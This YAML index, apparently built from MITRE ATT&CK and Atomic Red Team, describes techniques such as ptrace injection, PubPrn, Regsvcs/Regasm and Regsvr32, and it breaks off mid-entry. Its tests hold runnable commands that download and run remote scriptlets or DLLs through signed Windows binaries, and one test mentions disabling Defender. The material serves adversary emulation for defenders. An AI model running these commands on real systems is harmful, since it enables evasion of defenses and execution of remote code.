      - url: https://www.gnu.org/software/acct/
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
        source_name: GNU Acct
      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
        source_name: RHEL auditd
      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
        source_name: Chokepoint preload rootkits
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Ptrace System Calls
      description: "Adversaries may inject malicious code into processes via ptrace
        (process trace) system calls in order to evade process-based defenses as well
        as possibly elevate privileges. Ptrace system call injection is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nPtrace system call injection involves attaching to and modifying a running
        process. The ptrace system call enables a debugging process to observe and
        control another process (and each individual thread), including changing memory
        and register values.(Citation: PTRACE man) Ptrace system call injection is
        commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>)
        then invoking that memory with <code>PTRACE_SETREGS</code> to set the register
        containing the next instruction to execute. Ptrace system call injection can
        also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>,
        which copy data to a specific address in the target processes’ memory (ex:
        the current address of the next instruction). (Citation: PTRACE man)(Citation:
        Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible
        targeting processes with high-privileges, and on some system those that are
        non-child processes.(Citation: BH Linux Inject) \n\nRunning code in the context
        of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via ptrace system call
        injection may also evade detection from security products since the execution
        is masked under a legitimate process. "
      id: attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-06-20T22:24:56.734Z'
      created: '2020-01-14T01:33:19.065Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_detection: "Monitoring for Linux specific calls such as the ptrace system
        call should not generate large amounts of data due to their specialized nature,
        and can be a very effective method to detect some of the common process injection
        methods.(Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation:
        RHEL auditd)  (Citation: Chokepoint preload rootkits) \n\nAnalyze process
        behavior to determine if a process is performing actions it usually does not,
        such as opening network connections, reading files, or other suspicious actions
        that could relate to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
    atomic_tests: []
  T1216.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1216.001
        url: https://attack.mitre.org/techniques/T1216/001
      - url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
        description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved
          April 9, 2018.'
        source_name: Enigma0x3 PubPrn Bypass
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: PubPrn
      description: |-
        Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.

        <code>PubPrn.vbs</code> is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is <code>cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png</code>.
      id: attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-08T23:36:30.648Z'
      created: '2020-02-03T16:49:57.788Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor script processes, such as `cscript`, and command-line
        parameters for scripts like PubPrn.vbs that may be used to proxy execution
        of malicious files.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Script: Script Execution'
      x_mitre_platforms:
      - Windows
      identifier: T1216.001
    atomic_tests:
    - name: PubPrn.vbs Signed Script Bypass
      auto_generated_guid: 9dd29a1f-1e16-4862-be83-913b10a88f6c
      description: 'Executes the signed PubPrn.vbs script with options to download
        and execute an arbitrary payload.

'
      supported_platforms:
      - windows
      input_arguments:
        remote_payload:
          description: A remote payload to execute using PubPrn.vbs.
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct
      executor:
        command: 'cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
          localhost "script:#{remote_payload}"

'
        name: command_prompt
  T1542.004:
    technique:
      created: '2020-10-20T00:05:48.790Z'
      modified: '2020-10-22T02:18:19.568Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      id: attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc
      description: |-
        Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)


        ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.
      name: ROMMONkit
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1542.004
        url: https://attack.mitre.org/techniques/T1542/004
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      x_mitre_platforms:
      - Network
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: There are no documented means for defenders to validate the
        operation of the ROMMON outside of vendor support. If a network device is
        suspected of being compromised, contact the vendor to assist in further investigation.
      x_mitre_permissions_required:
      - Administrator
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
    atomic_tests: []
  T1600.001:
    technique:
      id: attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8
      description: |-
        Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)

        Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.

        Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)
      name: Reduce Key Space
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1600.001
        url: https://attack.mitre.org/techniques/T1600/001
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-10-21T22:36:22.369Z'
      created: '2020-10-19T19:03:48.310Z'
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_platforms:
      - Network
      x_mitre_detection: There is no documented method for defenders to directly identify
        behaviors that reduce encryption key space. Detection efforts may be focused
        on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601)
        and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some
        detection methods require vendor support to aid in investigation.
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1108:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1108
        url: https://attack.mitre.org/techniques/T1108
      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        source_name: Mandiant APT1
      description: "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136),
        [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External
        Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries
        may use more than one remote access tool with varying command and control
        protocols or credentialed access to remote services so they can maintain access
        if an access mechanism is detected or mitigated. \n\nIf one type of tool is
        detected and blocked or removed as a response but the organization did not
        gain a full understanding of the adversary's tools and access, then the adversary
        will be able to retain access to the network. Adversaries may also attempt
        to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        to use [External Remote Services](https://attack.mitre.org/techniques/T1133)
        such as external VPNs as a way to maintain access despite interruptions to
        remote access tools deployed within a target network.(Citation: Mandiant APT1)
        Adversaries may also retain access through cloud-based infrastructure and
        applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100)
        is one such way to maintain access to a network through an externally accessible
        Web server."
      name: Redundant Access
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-03-08T10:33:00.985Z'
      created: '2017-05-31T21:31:18.867Z'
      x_mitre_deprecated: true
      x_mitre_is_subtechnique: false
      x_mitre_version: '3.1'
      x_mitre_defense_bypassed:
      - Network intrusion detection system
      - Anti-virus
      x_mitre_detection: |-
        Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.

        Detection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.

        If an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.

        For alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_contributors:
      - Praetorian
    atomic_tests: []
  T1218.009:
    technique:
      id: attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8
      description: |-
        Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

        Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
      name: Regsvcs/Regasm
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1218.009
        url: https://attack.mitre.org/techniques/T1218/009
      - source_name: MSDN Regsvcs
        description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool).
          Retrieved July 1, 2016.
        url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx
      - source_name: MSDN Regasm
        description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved
          July 1, 2016.
        url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx
      - source_name: LOLBAS Regsvcs
        url: https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
        description: LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.
      - source_name: LOLBAS Regasm
        url: https://lolbas-project.github.io/lolbas/Binaries/Regasm/
        description: LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-20T22:36:37.411Z'
      created: '2020-01-23T19:42:16.439Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Casey Smith
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and
        Regasm.exe with prior history of known good arguments and executed binaries
        to determine anomalous and potentially adversarial activity. Command arguments
        used before and after Regsvcs.exe or Regasm.exe invocation may also be useful
        in determining the origin and purpose of the binary being executed.
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1218.009
    atomic_tests:
    - name: Regasm Uninstall Method Call Test
      auto_generated_guid: 71bfbfac-60b1-4fc0-ac8b-2cedbbdcb112
      description: 'Executes the Uninstall Method, No Admin Rights Required. Upon
        execution, "I shouldn''t really execute either." will be displayed.

'
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Location of the payload
          type: Path
          default: "%tmp%\\T1218.009.dll"
        source_file:
          description: Location of the CSharp source_file
          type: Path
          default: PathToAtomicsFolder\T1218.009\src\T1218.009.cs
      dependency_executor_name: powershell
      dependencies:
      - description: 'The CSharp source file must exist on disk at specified location
          (#{source_file})

'
        prereq_command: 'if (Test-Path #{source_file}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "#{source_file}"
      executor:
        command: |
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"#{output_file}" /target:library #{source_file}
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{output_file}
        cleanup_command: 'del #{output_file} >nul 2>&1

'
        name: command_prompt
    - name: Regsvcs Uninstall Method Call Test
      auto_generated_guid: fd3c1c6a-02d2-4b72-82d9-71c527abb126
      description: |
        Executes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, "I shouldn't really execute" will be displayed
        along with other information about the assembly being installed.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Location of the payload
          type: Path
          default: "$Env:TEMP\\T1218.009.dll"
        source_file:
          description: Location of the CSharp source_file
          type: Path
          default: PathToAtomicsFolder\T1218.009\src\T1218.009.cs
      dependency_executor_name: powershell
      dependencies:
      - description: 'The CSharp source file must exist on disk at specified location
          (#{source_file})

'
        prereq_command: 'if (Test-Path #{source_file}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "#{source_file}"
      executor:
        command: |
          $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
          $Content = [System.Convert]::FromBase64String($key)
          Set-Content $env:Temp\key.snk -Value $Content -Encoding Byte
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"#{output_file}" /target:library /keyfile:$env:Temp\key.snk #{source_file}
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{output_file}
        cleanup_command: |
          Remove-Item #{output_file} -ErrorAction Ignore | Out-Null
          $parentpath = Split-Path -Path "#{output_file}"
          Remove-Item $parentpath\key.snk -ErrorAction Ignore | Out-Null
          Remove-Item $parentpath\T1218.009.tlb -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
  T1218.010:
    technique:
      id: attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab
      name: Regsvr32
      description: |-
        Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32)

        Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

        Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1218.010
        url: https://attack.mitre.org/techniques/T1218/010
      - source_name: Microsoft Regsvr32
        description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and
          troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.
        url: https://support.microsoft.com/en-us/kb/249873
      - source_name: LOLBAS Regsvr32
        url: https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
        description: LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.
      - source_name: Carbon Black Squiblydoo Apr 2016
        description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo”
          Continues Trend of Attackers Using Native OS Tools to “Live off the Land”.
          Retrieved April 9, 2018.'
        url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
      - source_name: FireEye Regsvr32 Targeting Mongolian Gov
        description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing
          Techniques Used in Attacks Targeting the Mongolian Government. Retrieved
          February 24, 2017.
        url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-20T22:37:32.931Z'
      created: '2020-01-23T19:52:17.414Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Casey Smith
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_detection: 'Use process monitoring to monitor the execution and arguments
        of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history
        of known good arguments and loaded files to determine anomalous and potentially
        adversarial activity. Command arguments used before and after the regsvr32.exe
        invocation may also be useful in determining the origin and purpose of the
        script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Anti-virus
      - Application control
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1218.010
    atomic_tests:
    - name: Regsvr32 local COM scriptlet execution
      auto_generated_guid: 449aa403-6aba-47ce-8a37-247d21ef0306
      description: 'Regsvr32.exe is a command-line program used to register and unregister
        OLE controls. Upon execution, calc.exe will be launched.

'
      supported_platforms:
      - windows
      input_arguments:
        filename:
          description: Name of the local file, include path.
          type: Path
          default: PathToAtomicsFolder\T1218.010\src\RegSvr32.sct
        regsvr32path:
          description: Default location of Regsvr32.exe
          type: Path
          default: C:\Windows\system32
        regsvr32name:
          description: Default name of Regsvr32.exe
          type: String
          default: regsvr32.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Regsvr32.sct must exist on disk at specified location (#{filename})

'
        prereq_command: 'if (Test-Path #{filename}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct" -OutFile "#{filename}"
      executor:
        command: "#{regsvr32path}\\#{regsvr32name} /s /u /i:#{filename} scrobj.dll\n"
        name: command_prompt
    - name: Regsvr32 remote COM scriptlet execution
      auto_generated_guid: c9d0c4ef-8a96-4794-a75b-3d3a5e6f2a36
      description: |
        Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable
        windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: URL to hosted sct file
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct
        regsvr32path:
          description: Default location of Regsvr32.exe
          type: Path
          default: C:\Windows\system32
        regsvr32name:
          description: Default name of Regsvr32.exe
          type: String
          default: regsvr32.exe
      executor:
        command: "#{regsvr32path}\\#{regsvr32name} /s /u /i:#{url} scrobj.dll\n"
        name: command_prompt
    - name: Regsvr32 local DLL execution
      auto_generated_guid: '08ffca73-9a3d-471a-aeb0-68b4aa3ab37b'
      description: 'Regsvr32.exe is a command-line program used to register and unregister
        OLE controls. Upon execution, calc.exe will be launched.

'
      supported_platforms:
      - windows
      input_arguments:
        dll_name:
          description: Name of DLL to Execute, DLL Should export DllRegisterServer
          type: Path
          default: PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll
        regsvr32path:
          description: Default location of Regsvr32.exe
          type: Path
          default: C:\Windows\system32
        regsvr32name:
          description: Default name of Regsvr32.exe
          type: String
          default: regsvr32.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AllTheThingsx86.dll must exist on disk at specified location
          (#{dll_name})

'
        prereq_command: 'if (Test-Path #{dll_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{dll_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"
      executor:
        command: 'IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe
          /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} )

'
        name: command_prompt
    - name: Regsvr32 Registering Non DLL
      auto_generated_guid: 1ae5ea1f-0a4e-4e54-b2f5-4ac328a7f421
      description: 'Replicating observed Gozi maldoc behavior registering a dll with
        an altered extension

'
      supported_platforms:
      - windows
      input_arguments:
        dll_file:
          description: Path to renamed dll file to be registered
          type: Path
          default: "%temp%\\shell32.jpg"
        regsvr32path:
          description: Default location of Regsvr32.exe
          type: Path
          default: C:\Windows\system32
        regsvr32name:
          description: Default name of Regsvr32.exe
          type: String
          default: regsvr32.exe
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Test requires a renamed dll file

'
        prereq_command: 'if exist #{dll_file} ( exit 0 ) else ( exit 1 )

'
        get_prereq_command: 'copy "C:\Windows\System32\shell32.dll" "#{dll_file}"

'
      executor:
        name: command_prompt
        elevation_required: false
        command: "#{regsvr32path}\\#{regsvr32name} /s #{dll_file}\n"
        cleanup_command: "#{regsvr32path}\\#{regsvr32name} /U /s #{dll_file}\n"
    - name: Regsvr32 Silent DLL Install Call DllRegisterServer
      auto_generated_guid: 9d71c492-ea2e-4c08-af16-c6994cdf029f
      description: Regsvr32.exe is a command-line program used to register and unregister
        OLE controls. Normally, an install is executed with /n to prevent calling
        DllRegisterServer.
      supported_platforms:
      - windows
      input_arguments:
        dll_name:
          description: Name of DLL to Install
          type: String
          default: PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll
        regsvr32path:
          description: Default location of Regsvr32.exe
          type: String
          default: C:\Windows\system32
        regsvr32name:
          description: Default name of Regsvr32.exe
          type: String
          default: regsvr32.exe
      dependency_executor_name: powershell
      dependencies:
      - description: AllTheThingsx86.dll must exist on disk at specified location
          (#{dll_name})
        prereq_command: 'if (Test-Path #{dll_name}) {exit 0} else {exit 1}'
        get_prereq_command: |-
          New-Item -Type Directory (split-path #{dll_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"
      executor:
        command: "#{regsvr32path}\\#{regsvr32name} /s /i #{dll_name}"
        name: command_prompt
  T1036.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1036.003
        url: https://attack.mitre.org/techniques/T1036/003
      - source_name: LOLBAS Main Site
        url: https://lolbas-project.github.io/
        description: LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and
          also Libraries). Retrieved February 10, 2020.
      - source_name: Elastic Masquerade Ball
        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
          Retrieved October 31, 2016.'
        url: http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
      - source_name: F-Secure CozyDuke
        description: 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis.
          Retrieved December 10, 2015.'
        url: https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf
      - source_name: Twitter ItsReallyNick Masquerading Update
        url: https://twitter.com/ItsReallyNick/status/1055321652777619457
        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
          Retrieved April 22, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Rename System Utilities
      description: 'Adversaries may rename legitimate system utilities to try to evade
        security mechanisms concerning the usage of those utilities. Security monitoring
        and control mechanisms may be in place for system utilities adversaries are
